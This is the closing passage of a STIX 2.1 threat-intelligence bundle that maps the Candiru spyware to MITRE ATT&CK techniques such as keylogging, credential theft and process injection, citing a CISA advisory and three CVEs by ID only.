          "description": "Official US CISA Cybersecurity Advisory",
          "url": "CISA Known Exploited Vulnerabilities (KEV) Catalog: CVE-2021-31979, CVE-2021-33771, CVE-2022-2294"
        }
      ],
      "labels": [
        "spyware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d7eb203-e071-5789-84a6-adf4b21d2805",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad980fd8-1704-5c1c-ad72-efc6aab14571",
      "target_ref": "attack-pattern--0e256bfe-cc6d-5f41-9ab7-680374cb717c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Candiru exhibits technique T1203 (Exploitation for Client Execution)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--217776cb-684e-505c-8505-10c72f12df9b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad980fd8-1704-5c1c-ad72-efc6aab14571",
      "target_ref": "attack-pattern--a3b1cbba-cac7-5f53-b134-6cfe2a13b053",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Candiru exhibits technique T1068 (Exploitation for Privilege Escalation)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--653ecef2-88e6-59bb-b652-7482f4576e70",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad980fd8-1704-5c1c-ad72-efc6aab14571",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Candiru exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9236b0b1-2151-51b8-b426-d466cb879fef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad980fd8-1704-5c1c-ad72-efc6aab14571",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Candiru exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca758345-89c1-52fa-afb0-787ed17fa97b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad980fd8-1704-5c1c-ad72-efc6aab14571",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Candiru exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cdc8494a-e44b-510e-bfbd-54eaec0b563c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad980fd8-1704-5c1c-ad72-efc6aab14571",
      "target_ref": "attack-pattern--ed2a807b-3451-5ba6-bc92-f7395d0d7084",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Candiru exhibits technique T1123 (Audio Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--42d1881b-3fcc-59e3-8bcb-34be7589ca2a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad980fd8-1704-5c1c-ad72-efc6aab14571",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Candiru exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01b35471-e129-56fe-9fcb-884d8d3865d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad980fd8-1704-5c1c-ad72-efc6aab14571",
      "target_ref": "attack-pattern--93d05424-5b4c-5400-a22c-cc8acb493a1e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Candiru exhibits technique T1539 (Steal Web Session Cookie)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--58124bd6-0579-53f6-8221-738e0248e4a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad980fd8-1704-5c1c-ad72-efc6aab14571",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Candiru exhibits technique T1005 (Data from Local System)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8eafb781-e478-5bf5-9449-1d4d6624cb99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad980fd8-1704-5c1c-ad72-efc6aab14571",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Candiru exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--468e579c-38d0-5dff-99b2-eaff3e716b62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad980fd8-1704-5c1c-ad72-efc6aab14571",
      "target_ref": "attack-pattern--c1cad0be-7101-5b46-889b-71b19f414675",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Candiru exhibits technique T1003.001 (LSASS Memory)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f332dac-e5d6-5dac-90da-178de6194b4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad980fd8-1704-5c1c-ad72-efc6aab14571",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Candiru exhibits technique T1027 (Obfuscated Files or Information)."
    }
  ]
}